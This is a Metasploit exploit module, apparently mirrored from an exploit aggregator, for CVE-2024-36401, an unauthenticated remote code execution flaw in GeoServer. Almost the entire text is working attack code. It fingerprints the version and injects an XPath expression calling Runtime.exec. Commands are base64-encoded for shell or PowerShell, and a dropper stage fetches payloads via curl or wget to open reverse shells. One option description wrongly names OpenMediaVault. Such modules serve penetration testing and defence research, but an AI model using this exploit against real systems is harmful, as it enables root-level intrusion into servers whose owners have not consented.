Share
## https://sploitus.com/exploit?id=1337DAY-ID-39682
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Geoserver unauthenticated Remote Code Execution',
        'Description' => %q{
          GeoServer is an open-source software server written in Java that provides
          the ability to view, edit, and share geospatial data.
          It is designed to be a flexible, efficient solution for distributing geospatial data
          from a variety of sources such as Geographic Information System (GIS) databases,
          web-based data, and personal datasets.
          In the GeoServer versions < 2.23.6, >= 2.24.0, < 2.24.4 and >= 2.25.0, < 2.25.1,
          multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users
          through specially crafted input against a default GeoServer installation due to unsafely
          evaluating property names as XPath expressions.
          An attacker can abuse this by sending a POST request with a malicious xpath expression
          to execute arbitrary commands as root on the system.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
          'jheysel-r7', # MSF module Windows support
          'Steve Ikeoka' # Discovery
        ],
        'References' => [
          ['CVE', '2024-36401'],
          ['URL', 'https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv'],
          ['URL', 'https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401'],
          ['URL', 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401']
        ],
        'DisclosureDate' => '2024-07-01',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
              # Tested with cmd/unix/reverse_bash
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => ['linux'],
              'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
              'Type' => :linux_dropper,
              'Linemax' => 16384,
              'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne']
              # Tested with linux/x64/meterpreter_reverse_tcp
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => ['Windows'],
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd
              # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8080,
          'SSL' => false
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/'])
      ]
    )
  end

  def check_version
    print_status('Trying to detect if target is running a vulnerable version of GeoServer.')
    res = send_request_cgi!({
      'uri' => normalize_uri(target_uri.path, 'geoserver', 'web', 'wicket', 'bookmarkable', 'org.geoserver.web.AboutGeoServerPage'),
      'keep_cookies' => true,
      'method' => 'GET'
    })
    return nil unless res && res.code == 200 && res.body.include?('GeoServer Version')

    html = res.get_html_document
    unless html.blank?
      # html identifier for Geoserver version information: <span id="version">2.23.2</span>
      version = html.css('span[id="version"]')
      return Rex::Version.new(version[0].text) unless version[0].nil?
    end
    nil
  end

  def get_valid_featuretype
    allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']
    res = send_request_cgi!({
      'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
      'method' => 'GET',
      'ctype' => 'application/xml',
      'keep_cookies' => true,
      'vars_get' => {
        'request' => 'ListStoredQueries',
        'service' => 'wfs'
      }
    })
    return nil unless res && res.code == 200 && res.body.include?('ListStoredQueriesResponse')

    xml = res.get_xml_document
    unless xml.blank?
      xml.remove_namespaces!
      # get all the FeatureTypes and store them in an array of strings
      retrieved_feature_types = xml.xpath('//ReturnFeatureType')
      # shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer
      # return the feature type if a match is found in the allowed_feature_types array
      retrieved_feature_types.to_a.shuffle.each do |feature_type|
        return feature_type.text if allowed_feature_types.include?(feature_type.text)
      end
    end
    nil
  end

  def create_payload(cmd)
    # get a valid feature type and fail back to a default if not successful
    feature_type = get_valid_featuretype
    feature_type = 'sf:archsites' if feature_type.nil?

    case target['Type']
    when :unix_cmd || :linux_dropper
      # create customised b64 encoded payload
      # 'Encoder' => 'cmd/base64' does not work in this particular use case
      cmd_b64 = Base64.strict_encode64(cmd)
      cmd = "sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh"
    when :win_cmd
      enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))
      cmd = "powershell.exe -e #{enc_cmd}"
    end

    return <<~EOS
      <wfs:GetPropertyValue service='WFS' version='2.0.0'
        xmlns:topp='http://www.openplans.org/topp'
        xmlns:fes='http://www.opengis.net/fes/2.0'
        xmlns:wfs='http://www.opengis.net/wfs/2.0'>
          <wfs:Query typeNames="#{feature_type}"/>
          <wfs:valueReference>exec(java.lang.Runtime.getRuntime(), "#{cmd}")</wfs:valueReference>
      </wfs:GetPropertyValue>
    EOS
  end

  def execute_command(cmd, _opts = {})
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
      'method' => 'POST',
      'ctype' => 'application/xml',
      'keep_cookies' => true,
      'data' => create_payload(cmd)
    })
    fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless res && res.code == 400 && res.body.include?('ClassCastException')
  end

  def check
    version_number = check_version
    return CheckCode::Unknown('Could not retrieve the version information.') if version_number.nil?
    return CheckCode::Appears("Version #{version_number}") if version_number.between?(Rex::Version.new('2.25.0'), Rex::Version.new('2.25.1')) || version_number.between?(Rex::Version.new('2.24.0'), Rex::Version.new('2.24.3')) || version_number < Rex::Version.new('2.23.6')

    CheckCode::Safe("Version #{version_number}")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd, :win_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      # don't check the response here since the server won't respond
      # if the payload is successfully executed.
      execute_cmdstager({ linemax: target.opts['Linemax'] })
    end
  end
end